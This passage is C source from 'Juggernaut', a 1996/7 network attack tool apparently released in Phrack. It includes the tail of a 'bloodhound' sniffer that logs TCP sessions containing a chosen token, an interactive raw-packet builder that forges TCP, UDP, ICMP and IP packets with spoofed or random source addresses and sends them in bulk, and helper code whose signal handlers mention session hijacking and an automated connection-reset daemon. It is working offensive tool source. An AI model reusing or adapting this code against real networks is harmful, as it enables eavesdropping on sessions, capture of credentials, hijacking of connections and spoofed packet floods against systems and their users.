when you are thorugh.\n",getpid()); fprintf(fp,"\n---------------------------------------------------------------------\n[ Juggernaut bloodhound module log: token == '%s' ]\n",token); time(&tp); fprintf(fp,"[ Log started:\t\t%s---------------------------------------------------------------------\n",ctime(&tp)); fflush(fp); while(1)if(recv(tlinksock,&epack,sizeof(epack),0))if(iphp->protocol==IPPROTO_TCP){ length=htons(iphp->tot_len)-sizeof(epack.ip)-sizeof(epack.tcp); if((!grabflag)&&(strstr((epack.payload-2),token))){ grabflag=enticementfactor; targetsourceip=iphp->saddr; targetsourceport=tcphp->source; fprintf(fp,"\n\t %s [%d]\t<-->\t %s [%d]\n",hostLookup(iphp->saddr),ntohs(tcphp->source),hostLookup(iphp->daddr),ntohs(tcphp->dest)); parsep(epack.payload-2,length,fp); } if(grabflag){ /* We have a session marked and are logging it */ if(iphp->daddr==targetsourceip&&tcphp->dest==targetsourceport){ parsep(epack.payload-2,length,fp); grabflag--; } } } /* NOTREACHED */ } /* * Packet parser. Print the packet out... */ void parsep(payload,length,fp) char *payload; int length; FILE *fp; { register int tickytacky=0; for(tickytacky=0;tickytacky <++> Juggernaut/NumberOneCrush/prometheus.c /* * * Juggernaut * Version b2 * * 1996/7 Guild productions * daemon9[guild|phrack|r00t] * * comments to route@infonexus.com * * This coding project made possible by a grant from the Guild corporation * * prometheus.c - the packet assemby workshop module. Each of the main * packet assembly subfunctions will end up calling the ip assembler to build * the IP portion and send it (them) out. * * Too many dependencies in menu.c * * Shout out to Nirva for some suggestions/help. Nirva rules, BTW. I love * Nirva. You should too. * */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define MINIBUF 10 #define BUFSIZE 512 #define ETHHDR 14 #define PHDR 12 #define TCPHDR 20 #define UDPHDR 8 #define IPHDR 20 #define NOTRANSPORT 0x00 #define TCPTRANSPORT 0x01 #define UDPTRANSPORT 0x02 #define ICMPTRANSPORT 0x04 struct tpak{ /* TCP packet */ struct tcphdr tcp; char payload[BUFSIZE]; }tpack; struct upak{ /* UDP packet */ struct udphdr udp; char payload[BUFSIZE]; }upack; struct ipak{ /* ICMP packet */ struct icmphdr icmp; char payload[BUFSIZE]; }ipack; struct rippak{ /* IP packet */ struct iphdr ip; char payload[BUFSIZE+20]; /* Payload + transport header */ }rippack; int woe; /* Global var to let us know where to return to... */ extern int verbosity; /* This will change when IP/TCP options are implemented... */ #define RIPPACKETSIZE 552 /* IP header + transport header of up to 20 bytes + 512 byte payload */ int prometheus(type) int type; { void tcpa(); void udpa(); void icmpa(); void igmpa(); void ripa(int); bzero(&rippack,sizeof(rippack)); woe=0; switch(type){ case 1: tcpa(); /* TCP */ break; case 2: udpa(); /* UDP */ break; case 3: icmpa(); /* ICMP */ break; case 4: ripa(NOTRANSPORT); /* RAW IP with no transport and no payload */ break; case 5: return(woe=1); /* Done assembling packets */ default: break; /* bad input -- not done */ } return(woe); } /* * TCP assembler */ void tcpa(){ void ripa(int); void mwipe(); void mpktatcp(int,unsigned short,unsigned short,unsigned long,unsigned long,char *,unsigned short,char *); char buf[2*MINIBUF]; unsigned long val; int packetready=0; /* flag bits */ char data[4*MINIBUF]={0},flags[MINIBUF]={0},filename[4*MINIBUF]={0}; int i,j,fd,loopsentry=1; bzero(&tpack,sizeof(tpack)); srandom((unsigned)time(0)); /* seed psuedo random number generator */ while(loopsentry){ mwipe(); mpktatcp(packetready,ntohs(tpack.tcp.source),ntohs(tpack.tcp.dest),ntohl(tpack.tcp.seq),ntohl(tpack.tcp.ack_seq),flags,ntohs(tpack.tcp.window),data); fgets(buf,sizeof(buf),stdin); if(!(val=atoi(buf)))continue; switch(val){ case 1: /* Source Port */ fprintf(stderr,"\nSource Port (0 - 65535) [qr] >"); fgets(buf,sizeof(buf),stdin); if(buf[0]=='r'){ tpack.tcp.source=htons(random()&0xffff); packetready|=0x01; break; } if(buf[0]=='q'||(val=atoi(buf))<0||val>65535){ if(packetready&0x01)packetready^=0x01; /* Clear flag if set */ tpack.tcp.source=0; break; } tpack.tcp.source=htons(val); packetready|=0x01; break; case 2: /* Destination Port */ fprintf(stderr,"\nDestination Port (0 - 65535) [qr] >"); fgets(buf,sizeof(buf),stdin); if(buf[0]=='r'){ tpack.tcp.dest=htons(random()&0xffff); packetready|=0x02; break; } if(buf[0]=='q'||(val=atoi(buf))<0||val>65535){ if(packetready&0x02)packetready^=0x02; tpack.tcp.dest=0; break; } tpack.tcp.dest=htons(val); packetready|=0x02; break; case 3: /* Sequence Number */ fprintf(stderr,"\nSequence Number (0 - 4294967295) [qr] >"); fgets(buf,sizeof(buf),stdin); if(buf[0]=='r'){ tpack.tcp.seq=htonl(random()); packetready|=0x04; break; } if(buf[0]=='q'||buf[0]=='-'){ if(packetready&0x04)packetready^=0x04; tpack.tcp.seq=0; break; } tpack.tcp.seq=htonl(strtoul(buf,0,10)); packetready|=0x04; break; case 4: /* Acknowledgement Number */ fprintf(stderr,"\nAcknowledgement Number (0 - 4294967295) [qr] >"); fgets(buf,sizeof(buf),stdin); if(buf[0]=='r'){ tpack.tcp.ack_seq=htonl(random()); packetready|=0x08; break; } if(buf[0]=='q'||buf[0]=='-'){ if(packetready&0x08)packetready^=0x08; tpack.tcp.ack_seq=0; break; } tpack.tcp.ack_seq=htonl(strtoul(buf,0,10)); packetready|=0x08; break; case 5: /* Control Flags */ i=0; bzero(flags,sizeof(flags)); fprintf(stderr,"\nURG? [yNq] >"); fgets(buf,sizeof(buf),stdin); if(buf[0]=='q'){ if(packetready&0x10)packetready^=0x10; tpack.tcp.urg=0; break; } if(buf[0]=='y'){ tpack.tcp.urg=1; flags[i++]='U'; } fprintf(stderr,"\nACK? [yNq] >"); fgets(buf,sizeof(buf),stdin); if(buf[0]=='q'){ if(packetready&0x10)packetready^=0x10; tpack.tcp.ack=0; break; } if(buf[0]=='y'){ tpack.tcp.ack=1; flags[i++]='A'; } fprintf(stderr,"\nPSH? [yNq] >"); fgets(buf,sizeof(buf),stdin); if(buf[0]=='q'){ if(packetready&0x10)packetready^=0x10; tpack.tcp.psh=0; break; } if(buf[0]=='y'){ tpack.tcp.psh=1; flags[i++]='P'; } fprintf(stderr,"\nRST? [yNq] >"); fgets(buf,sizeof(buf),stdin); if(buf[0]=='q'){ if(packetready&0x10)packetready^=0x10; tpack.tcp.rst=0; break; } if(buf[0]=='y'){ tpack.tcp.rst=1; flags[i++]='R'; } fprintf(stderr,"\nSYN? [yNq] >"); fgets(buf,sizeof(buf),stdin); if(buf[0]=='q'){ if(packetready&0x10)packetready^=0x10; tpack.tcp.syn=0; break; } if(buf[0]=='y'){ tpack.tcp.syn=1; flags[i++]='S'; } fprintf(stderr,"\nFIN? [yNq] >"); fgets(buf,sizeof(buf),stdin); if(buf[0]=='q'){ if(packetready&0x10)packetready^=0x10; tpack.tcp.fin=0; break; } if(buf[0]=='y'){ tpack.tcp.fin=1; flags[i++]='F'; } if(!flags[0])strcpy(flags,"none set"); packetready|=0x10; break; case 6: /* Window Size */ fprintf(stderr,"\nWindow Size (0 - 65535) [qr] >"); fgets(buf,sizeof(buf),stdin); if(buf[0]=='r'){ tpack.tcp.window=htons(random()&0xffff); packetready|=0x20; break; } if(buf[0]=='q'||(val=atoi(buf))<0||val>65535){ if(packetready&0x20)packetready^=0x20; tpack.tcp.window=0; break; } tpack.tcp.window=htons(val); packetready|=0x20; break; case 7: /* Data payload */ bzero(data,sizeof(data)); bzero(tpack.payload,sizeof(tpack.payload)); bzero(filename,sizeof(filename)); fprintf(stderr,"\nData Payload Source (512 Bytes Maximum) [qfc] >"); fgets(buf,sizeof(buf),stdin); if(buf[0]=='c'){ /* Input from command line */ fprintf(stderr,"\nEnter Payload [q] >"); fgets(tpack.payload,sizeof(tpack.payload),stdin); strncpy(data,tpack.payload,sizeof(data)); packetready|=0x40; break; } if(buf[0]=='f'){ /* Input from file */ fprintf(stderr,"\nFilename [q] >"); if(buf[0]==0x0a||buf[0]=='q')break; fgets(filename,sizeof(filename),stdin); for(i=0;i<4*MINIBUF;i++)if(!filename[i])break; filename[--i]=0; /* Pesky Newline */ if((fd=open(filename,O_RDONLY))<0){ if(verbosity){ fprintf(stderr,"Cannot open file for reading.\n"); fprintf(stderr,"[cr]"); getchar(); } continue; } i=0; j=0; while(i<512){ j=read(fd,tpack.payload,sizeof(tpack.payload)); if(!j)break; /* No more bytes ta read */ i+=j; } strncpy(data,filename,sizeof(filename)); close(fd); packetready|=0x40; break; } if(packetready&0x40)packetready^=0x40; bzero(data,sizeof(data)); bzero(tpack.payload,sizeof(tpack.payload)); break; case 8: /* Return to previous menu */ loopsentry=0; bzero(&tpack,sizeof(tpack)); break; case 9: /* Return to Main */ loopsentry=0; woe=1; break; case 10: /* RIP assembler */ if(packetready==0x07f){ /* AND mask of all the options */ tpack.tcp.doff=5; /* Data offset */ ripa(TCPTRANSPORT); /* Checksum will be computed in ripa */ break; } continue; default: /* Bad input */ continue; } } } /* * UDP assembler */ void udpa(){ void ripa(int); void mwipe(); void mpktaudp(int,unsigned short,unsigned short,char *); char buf[2*MINIBUF]; unsigned long val; int packetready=0; /* flag bits */ char data[4*MINIBUF]={0},filename[4*MINIBUF]={0}; int i=0,j,fd=0,loopsentry=1; bzero(&upack,sizeof(upack)); srandom((unsigned)time(0)); while(loopsentry){ mwipe(); mpktaudp(packetready,ntohs(upack.udp.source),ntohs(upack.udp.dest),data); fgets(buf,sizeof(buf),stdin); if(!(val=atoi(buf)))continue; switch(val){ case 1: /* Source Port */ fprintf(stderr,"\nSource Port (0 - 65535) [qr] >"); fgets(buf,sizeof(buf),stdin); if(buf[0]==0x0a||buf[0]=='q'){ if(packetready&0x01)packetready^=0x01; upack.udp.source=0; break; } if(buf[0]=='r'){ upack.udp.source=htons(random()&0xffff); packetready|=0x01; break; } if(!(int)(val=atoi(buf)))break; upack.udp.source=htons(val); packetready|=0x01; break; case 2: /* Destination Port */ fprintf(stderr,"\nDestination Port (0 - 65535) [qr] >"); fgets(buf,sizeof(buf),stdin); if(buf[0]==0x0a||buf[0]=='q'){ if(packetready&0x02)packetready^=0x02; upack.udp.dest=0; break; } if(buf[0]=='r'){ upack.udp.dest=htons(random()&0xffff); packetready|=0x02; break; } if(!(int)(val=atoi(buf)))break; upack.udp.dest=htons(val); packetready|=0x02; break; case 3: /* Data payload */ bzero(data,sizeof(data)); bzero(upack.payload,sizeof(upack.payload)); bzero(filename,sizeof(filename)); fprintf(stderr,"\nData Payload Source (512 Bytes Maximum) [qfc] >"); fgets(buf,sizeof(buf),stdin); if(buf[0]=='c'){ /* Input from command line */ fprintf(stderr,"\nEnter Payload [q] >"); fgets(upack.payload,sizeof(upack.payload),stdin); strncpy(data,upack.payload,sizeof(data)); packetready|=0x04; break; } if(buf[0]=='f'){ /* Input from file */ fprintf(stderr,"\nFilename [q] >"); if(buf[0]==0x0a||buf[0]=='q')break; fgets(filename,sizeof(filename),stdin); for(i=0;i<4*MINIBUF;i++)if(!filename[i])break; filename[--i]=0; if((fd=open(filename,O_RDONLY))<0){ if(verbosity){ fprintf(stderr,"Cannot open file for reading.\n"); fprintf(stderr,"[cr]"); getchar(); } continue; } i=0; j=0; while(i<512){ j=read(fd,upack.payload,sizeof(upack.payload)); if(!j)break; i+=j; } strncpy(data,filename,sizeof(filename)); close(fd); packetready|=0x04; break; } if(packetready&0x04)packetready^=0x04; bzero(data,sizeof(data)); bzero(upack.payload,sizeof(upack.payload)); break; case 4: /* Return to previous menu */ loopsentry=0; bzero(&upack,sizeof(upack)); break; case 5: /* Retuen to Main */ loopsentry=0; woe=1; break; case 6: /* RIP assembler */ if(packetready==0x07){ upack.udp.len=htons(UDPHDR+BUFSIZE); ripa(UDPTRANSPORT); break; } continue; default: /* bad input */ continue; } } } /* * ICMP assembler * This is no where as robust as it should be. In fact, it doesn't really * create legal ICMP packets. Oh well. Next version. I am tired of * packet assembly duldrums... */ void icmpa(){ void ripa(int); void mwipe(); void mpktaicmp(int,unsigned short,unsigned short,char *); char buf[2*MINIBUF]; unsigned long val; int packetready=0; /* flag bits */ char data[4*MINIBUF]={0},filename[4*MINIBUF]={0}; int i=0,j,fd=0,loopsentry=1; bzero(&ipack,sizeof(ipack)); while(loopsentry){ mwipe(); mpktaicmp(packetready,ipack.icmp.type,ipack.icmp.code,data); fgets(buf,sizeof(buf),stdin); if(!(val=atoi(buf)))continue; switch(val){ case 1: /* Type */ fprintf(stderr,"\nType (0,3,4,5,8,9,10,11,12,13,14,15,16,17,18) [q] >"); fgets(buf,sizeof(buf),stdin); if(buf[0]==0x0a||buf[0]=='q'){ if(packetready&0x01)packetready^=0x01; ipack.icmp.type=0; break; } if(!(int)(val=atoi(buf)))break; ipack.icmp.type=val; packetready|=0x01; break; case 2: /* Code */ fprintf(stderr,"\nCode (0,1 {2,3}) [q] >"); fgets(buf,sizeof(buf),stdin); if(buf[0]==0x0a||buf[0]=='q'){ if(packetready&0x02)packetready^=0x02; ipack.icmp.code=0; break; } if(!(int)(val=atoi(buf)))break; ipack.icmp.code=val; packetready|=0x02; break; case 3: /* Data payload */ bzero(data,sizeof(data)); bzero(ipack.payload,sizeof(ipack.payload)); bzero(filename,sizeof(filename)); fprintf(stderr,"\nData Payload Source (512 Bytes Maximum) [qfc] >"); fgets(buf,sizeof(buf),stdin); if(buf[0]=='c'){ /* Input from command line */ fprintf(stderr,"\nEnter Payload [q] >"); fgets(ipack.payload,sizeof(ipack.payload),stdin); strncpy(data,ipack.payload,sizeof(data)); packetready|=0x04; break; } if(buf[0]=='f'){ /* Input from file */ fprintf(stderr,"\nFilename [q] >"); if(buf[0]==0x0a||buf[0]=='q')break; fgets(filename,sizeof(filename),stdin); for(i=0;i<4*MINIBUF;i++)if(!filename[i])break; filename[--i]=0; if((fd=open(filename,O_RDONLY))<0){ if(verbosity){ fprintf(stderr,"Cannot open file for reading.\n"); fprintf(stderr,"[cr]"); getchar(); } continue; } i=0; j=0; while(i<512){ j=read(fd,upack.payload,sizeof(upack.payload)); if(!j)break; i+=j; } strncpy(data,filename,sizeof(filename)); close(fd); packetready|=0x04; break; } if(packetready&0x04)packetready^=0x04; bzero(data,sizeof(data)); bzero(ipack.payload,sizeof(ipack.payload)); break; case 4: loopsentry=0; bzero(&ipack,sizeof(ipack)); break; case 5: loopsentry=0; woe=1; break; case 6: if(packetready==0x07){ ripa(ICMPTRANSPORT); break; } continue; default: continue; } } } /* * IP assembler and xmitter. Transport layer checksum routines thanks to * Myth (Red, actually). */ void ripa(transport) int transport; { void mwipe(); void mpktaip(int,char *,char *,unsigned short,unsigned short,char *,char *,int,char *); char *hostLookup(unsigned long); unsigned long nameResolve(char *); unsigned short in_cksum(unsigned short *,int); char buf[2*MINIBUF]; unsigned long val; char tosflags[MINIBUF]={0},fflags[MINIBUF]={0},packettype[MINIBUF]={0}; char sip[2*MINIBUF]={0},dip[2*MINIBUF]={0},*tempBuf; int packetready=0; /* flag bits */ int i=0,j=0,k=0; /* Counters */ int loopsentry=1,number=0; struct sockaddr_in sin; struct psuedoHeader{ unsigned long saddr; unsigned long daddr; unsigned char null; unsigned char prot; unsigned short tlen; }*ppheader; extern int ripsock; bzero(&rippack,sizeof(rippack)); bzero((char *)&sin,sizeof(sin)); srandom((unsigned)time(0)); while(loopsentry){ i=0; mwipe(); mpktaip(packetready,tosflags,fflags,ntohs(rippack.ip.frag_off),rippack.ip.ttl,sip,dip,number,packettype); fgets(buf,sizeof(buf),stdin); if(!(val=atoi(buf)))continue; switch(val){ case 1: /* TOS */ bzero(tosflags,sizeof(tosflags)); fprintf(stderr,"\nMinimize Delay? [yNq] >"); fgets(buf,sizeof(buf),stdin); if(buf[0]=='q'){ if(packetready&0x01)packetready^=0x01; rippack.ip.tos=0; break; } if(buf[0]=='y'){ rippack.ip.tos|=0x10; tosflags[i++]='D'; } fprintf(stderr,"\nMaximize Throughput? [yNq] >"); fgets(buf,sizeof(buf),stdin); if(buf[0]=='q'){ if(packetready&0x01)packetready^=0x01; rippack.ip.tos=0; break; } if(buf[0]=='y'){ rippack.ip.tos|=0x08; tosflags[i++]='T'; } fprintf(stderr,"\nMaximize Reliability? [yNq] >"); fgets(buf,sizeof(buf),stdin); if(buf[0]=='q'){ if(packetready&0x01)packetready^=0x01; rippack.ip.tos=0; break; } if(buf[0]=='y'){ rippack.ip.tos|=0x04; tosflags[i++]='R'; } fprintf(stderr,"\nMinimize Monetary Cost? [yNq] >"); fgets(buf,sizeof(buf),stdin); if(buf[0]=='q'){ if(packetready&0x01)packetready^=0x01; rippack.ip.tos=0; break; } if(buf[0]=='y'){ rippack.ip.tos|=0x02; tosflags[i++]='C'; } if(!tosflags[0])strcpy(tosflags,"none set"); packetready|=0x01; break; case 2: /* Frag Flags */ bzero(fflags,sizeof(fflags)); fprintf(stderr,"\nMore Fragments? [yNq] >"); fgets(buf,sizeof(buf),stdin); if(buf[0]=='q'){ if(packetready&0x02)packetready^=0x02; rippack.ip.frag_off=0; break; } if(buf[0]=='y'){ rippack.ip.frag_off|=htons(0x4000); fflags[i++]='M'; } fprintf(stderr,"\nDon't Fragment? [yNq] >"); fgets(buf,sizeof(buf),stdin); if(buf[0]=='q'){ if(packetready&0x02)packetready^=0x02; rippack.ip.frag_off=0; break; } if(buf[0]=='y'){ rippack.ip.frag_off|=htons(0x2000); fflags[i++]='D'; } if(!fflags[0])strcpy(fflags,"none set"); packetready|=0x02; break; case 3: /* Frag Offset */ fprintf(stderr,"\nFragment Offset [qr] >"); fgets(buf,sizeof(buf),stdin); if(buf[0]=='r'){ rippack.ip.frag_off|=htons(random()&0x1fff); packetready|=0x04; break; } if(buf[0]=='q'||(val=atoi(buf))<0||val>8191){ if(packetready&0x04)packetready^=0x04; rippack.ip.frag_off&=~0x3fff; break; } rippack.ip.frag_off|=htons(val&0x1fff); packetready|=0x04; break; case 4: /* TTL */ fprintf(stderr,"\nTTL (0 - 255) [qr] >"); fgets(buf,sizeof(buf),stdin); if(buf[0]=='r'){ rippack.ip.ttl=random()&0xff; packetready|=0x08; break; } if(buf[0]=='q'||(val=atoi(buf))<0||val>255){ if(packetready&0x08)packetready^=0x08; rippack.ip.ttl=0; break; } rippack.ip.ttl=val; packetready|=0x08; break; case 5: /* Source Address */ bzero(sip,sizeof(sip)); fprintf(stderr,"\nSource Address [qr] >"); fgets(buf,sizeof(buf),stdin); if(buf[0]==0x0a||buf[0]=='q'){ if(packetready&0x10)packetready^=0x10; rippack.ip.saddr=0; break; } if(buf[0]=='r'){ rippack.ip.saddr=htonl(random()); strncpy(sip,hostLookup(rippack.ip.saddr),sizeof(sip)); packetready|=0x10; break; } strncpy(sip,buf,sizeof(sip)); for(i=0;i<2*MINIBUF;i++)if(!sip[i])break; sip[--i]=0; if(!(rippack.ip.saddr=nameResolve(buf))){ fprintf(stderr,"Cannot resolve IP address.\n"); fprintf(stderr,"[cr]"); getchar(); bzero(sip,sizeof(sip)); if(packetready&0x10)packetready^=0x10; break; } packetready|=0x10; break; case 6: /* Destination Address */ bzero(dip,sizeof(dip)); fprintf(stderr,"\nDestination Address [qr] >"); fgets(buf,sizeof(buf),stdin); if(buf[0]==0x0a||buf[0]=='q'){ if(packetready&0x20)packetready^=0x20; rippack.ip.daddr=0; break; } if(buf[0]=='r'){ strncpy(dip,hostLookup(rippack.ip.daddr),sizeof(dip)); rippack.ip.daddr=htonl(random()); packetready|=0x20; break; } strncpy(dip,buf,sizeof(dip)); for(i=0;i<2*MINIBUF;i++)if(!dip[i])break; dip[--i]=0; if(!(rippack.ip.daddr=nameResolve(buf))){ fprintf(stderr,"Cannot resolve IP address.\n"); fprintf(stderr,"[cr]"); getchar(); bzero(dip,sizeof(dip)); if(packetready&0x20)packetready^=0x20; break; } packetready|=0x20; break; case 7: /* Number of packets to send */ fprintf(stderr,"\nAmount (1 - 65536) [qr] >"); fgets(buf,sizeof(buf),stdin); if(buf[0]=='r'){ number=(random()&0xffff); packetready|=0x40; break; } if(buf[0]=='q'||(val=atoi(buf))<0||val>65536){ if(packetready&0x40)packetready^=0x40; number=0; break; } number=val; packetready|=0x40; break; case 8: /* Return */ loopsentry=0; bzero(&rippack,sizeof(rippack)); break; case 9: loopsentry=0; woe=1; break; case 10: if(packetready==0x7f){ sin.sin_family=AF_INET; sin.sin_port=0; rippack.ip.version=4; /* IPv4 */ rippack.ip.ihl=5; /* This will change if options are present */ switch(transport){ case NOTRANSPORT: /* IP packet only */ sin.sin_addr.s_addr=rippack.ip.daddr; rippack.ip.protocol=IPPROTO_IP; break; case TCPTRANSPORT: /* TCP */ sin.sin_port=tpack.tcp.source; sin.sin_addr.s_addr=rippack.ip.daddr; rippack.ip.protocol=IPPROTO_TCP; tempBuf=(char *)malloc(PHDR+TCPHDR+BUFSIZE); ppheader=(struct psuedoHeader *)tempBuf; ppheader->saddr=rippack.ip.saddr; ppheader->daddr=rippack.ip.daddr; ppheader->prot=IPPROTO_TCP; ppheader->null=0; ppheader->tlen=htons(TCPHDR+BUFSIZE); bcopy(&tpack,tempBuf+PHDR,PHDR+TCPHDR+BUFSIZE); tpack.tcp.check=in_cksum((unsigned short *)tempBuf,PHDR+TCPHDR+BUFSIZE); free(tempBuf); bcopy((char *)&tpack,(char *)&rippack.payload,TCPHDR+BUFSIZE); break; case UDPTRANSPORT: /* UDP */ sin.sin_port=upack.udp.source; sin.sin_addr.s_addr=rippack.ip.daddr; rippack.ip.protocol=IPPROTO_UDP; tempBuf=(char *)malloc(PHDR+UDPHDR+BUFSIZE); ppheader=(struct psuedoHeader *)tempBuf; ppheader->saddr=rippack.ip.saddr; ppheader->daddr=rippack.ip.daddr; ppheader->prot=IPPROTO_UDP; ppheader->null=0; ppheader->tlen=htons(UDPHDR+BUFSIZE); bcopy(&upack,tempBuf+PHDR,PHDR+UDPHDR+BUFSIZE); upack.udp.check=in_cksum((unsigned short *)tempBuf,PHDR+UDPHDR+BUFSIZE); free(tempBuf); bcopy((char *)&upack,(char *)&rippack.payload,UDPHDR+BUFSIZE); break; case ICMPTRANSPORT: /* ICMP */ sin.sin_addr.s_addr=rippack.ip.daddr; rippack.ip.protocol=IPPROTO_ICMP; break; default: /* Control should never fall here */ if(verbosity)perror("RIP Assembler [unknown transport]"); exit(1); } for(k=number,i=0;i <++> Juggernaut/NumberOneCrush/surplus.c /* * * Juggernaut * Version b2 * * 1996/7 Guild productions * daemon9[guild|phrack|r00t] * * comments to route@infonexus.com * * This coding project made possible by a grant from the Guild corporation * * surplus.c - helper functions * */ #include #include #include #include #include #include #include #include #include #include #include #define HELPFILE "./ClothLikeGauze/.help" #define FBUFSIZE 80 #define MINIBUF 10 extern int verbosity; /* * IP address into network byte order */ unsigned long nameResolve(hostname) char *hostname; { struct in_addr addr; struct hostent *hostEnt; if((addr.s_addr=inet_addr(hostname))==-1){ if(!(hostEnt=gethostbyname(hostname)))return(0); bcopy(hostEnt->h_addr,(char *)&addr.s_addr,hostEnt->h_length); } return addr.s_addr; } #ifdef FASTCHECK /* * Fast IP checksum routine. */ unsigned short in_cksum(buff,len) unsigned char *buff; int len; { unsigned long sum = 0; if (len>3){ __asm__("clc\n" "1:\t" "lodsl\n\t" "adcl %%eax, %%ebx\n\t" "loop 1b\n\t" "adcl $0, %%ebx\n\t" "movl %%ebx, %%eax\n\t" "shrl $16, %%eax\n\t" "addw %%ax, %%bx\n\t" "adcw $0, %%bx" : "=b" (sum) , "=S" (buff) : "0" (sum), "c" (len >> 2) ,"1" (buff) : "ax", "cx", "si", "bx" ); } if(len&2){ __asm__("lodsw\n\t" "addw %%ax, %%bx\n\t" "adcw $0, %%bx" : "=b" (sum), "=S" (buff) : "0" (sum), "1" (buff) : "bx", "ax", "si"); } if(len&1){ __asm__("lodsb\n\t" "movb $0, %%ah\n\t" "addw %%ax, %%bx\n\t" "adcw $0, %%bx" : "=b" (sum), "=S" (buff) : "0" (sum), "1" (buff) : "bx", "ax", "si"); } sum =~sum; return(sum&0xffff); } #else /* * IP Family checksum routine */ unsigned short in_cksum(ptr,nbytes) unsigned short *ptr; int nbytes; { register long sum=0; /* assumes long == 32 bits */ u_short oddbyte; register u_short answer; /* assumes u_short == 16 bits */ while(nbytes>1){ sum+=*ptr++; nbytes-=2; } if(nbytes==1){ /* mop up an odd byte, if necessary */ oddbyte=0; /* make sure top half is zero */ *((u_char *)&oddbyte)=*(u_char *)ptr; /* one byte only */ sum+=oddbyte; } sum+=(sum>>16); /* add carry */ answer=~sum; /* ones-complement, then truncate to 16 bits */ return(answer); } #endif /* * Network byte order into IP address */ char *hostLookup(in) unsigned long in; { #define BUFSIZE 256 char hostname[BUFSIZE]={0}; struct in_addr addr; #ifdef USENAME struct hostent *hostEnt; #endif addr.s_addr=in; #ifdef USENAME hostEnt=gethostbyaddr((char *)&addr,sizeof(struct in_addr),AF_INET); if(!hostEnt) #endif strcpy(hostname,inet_ntoa(addr)); /* KLUDGEY. */ #ifdef USENAME else strcpy(hostname,hostEnt->h_name); #endif return(strdup(hostname)); } /* * Simple daemonizing procedure. */ int shadow(void){ int fd,pid; extern int errno; signal(SIGTTOU,SIG_IGN); /* Ignore these signals */ signal(SIGTTIN,SIG_IGN); signal(SIGTSTP,SIG_IGN); switch((pid=fork())){ case 0: /* Child */ break; default: exit(0); /* Parent */ case -1: fprintf(stderr,"Forking Error\n"); exit(1); } setpgrp(); if((fd=open("/dev/tty",O_RDWR))>=0){ ioctl(fd,TIOCNOTTY,(char *)NULL); close(fd); } errno=0; chdir("/"); umask(0); return(pid); } /* * Keeps processes from zombiing on us... */ static void reaper(signo) int signo; { pid_t pid; int sys; pid=wait(&sys); signal(SIGCHLD,reaper); return; } /* * Dump usage and exit. */ void usage(nomenclature) char *nomenclature; { fprintf(stderr,"\n\nUsage:\t%s [-h] [-s TOKEN [-e xx] ] [-v] [-t xx]\n\n -h terse help -H expanded help for those 'specially challanged' people... -s dedicated sniffing (bloodhound) mode, in which TOKEN is found enticing -e enticement factor (defaults to 16) -v decrease verbosity (don't do this) -V version information -t xx network read timeout in seconds (defaults to 10) Invoked without arguments, Juggernaut starts in `normal` mode.\n\n",nomenclature); exit(0); } /* * Simple file pager. */ void bookworm(){ FILE *fp; char tempBuf[FBUFSIZE],buf[MINIBUF]; int i=0; if(!(fp=fopen(HELPFILE,"r"))){ if(verbosity){ fprintf(stderr,"Cannot open help file.\n"); fprintf(stderr,"[cr]"); getchar(); return; } } while(fgets(tempBuf,FBUFSIZE-1,fp)){ fprintf(stderr,tempBuf); if(i==24){ fprintf(stderr,"\n[cr,q] >"); bzero(&buf,sizeof(buf)); fgets(buf,sizeof(buf-1),stdin); if(buf[0]=='q')break; i=0; } else i++; } } /* * Main signal handler to facilitate clean exits. */ void twitch(){ void cleanexit(); if(verbosity)fprintf(stderr,"\nCaught signal, exiting cleanly.\n"); signal(SIGINT,SIG_DFL); signal(SIGQUIT,SIG_DFL); cleanexit(); } /* * Used as a catchall to cleanly exit proccesses */ void spasm(){ extern int linksock; if(linksock)close(linksock); /* Hunter should have this... */ exit(0); } /* * Spy signal handler. */ void convulsion(){ void twitch(); extern int sigsentry; if(verbosity)fprintf(stderr,"\nCaught signal.\n"); fprintf(stderr,"[cr]"); getchar(); signal(SIGINT,twitch); sigsentry=0; } /* * Pre-hijacking signal handler. */ void sputter(){ void twitch(); extern int sigsentry; if(verbosity)fprintf(stderr,"\nCaught prehijack signal.\n"); signal(SIGINT,twitch); sigsentry=0; } /* * Post-hijacking signal handler. */ void seizure(){ void twitch(); extern int sigsentry; if(verbosity)fprintf(stderr,"\nCaught posthijack signal.\n"); sigsentry=0; signal(SIGINT,twitch); } /* * Exit Cleanly. */ void cleanexit(){ void powerdown(); extern int ripsock; extern int hpid; extern int acrstpid; close(ripsock); powerdown(); if(kill(hpid,SIGUSR1))if(verbosity){ /* Send signal to the hunter */ perror("(cleanexit) Could not signal hunter"); fprintf(stderr,"[cr]"); getchar(); } if(acrstpid) /* Send signal to the automated connection reset daemon. XXX - This only signals one daemon! If more exist, they will be left stranded! */ if(kill(acrstpid,SIGUSR1))if(verbosity){ perror("(cleanexit) Could not signal ACRSTD"); fprintf(stderr,"[cr]"); getchar(); } fprintf(stderr,"Juggernaut is a Guild Corporation production, (c) 1996/7.\n\n"); exit(0); } <--> EOF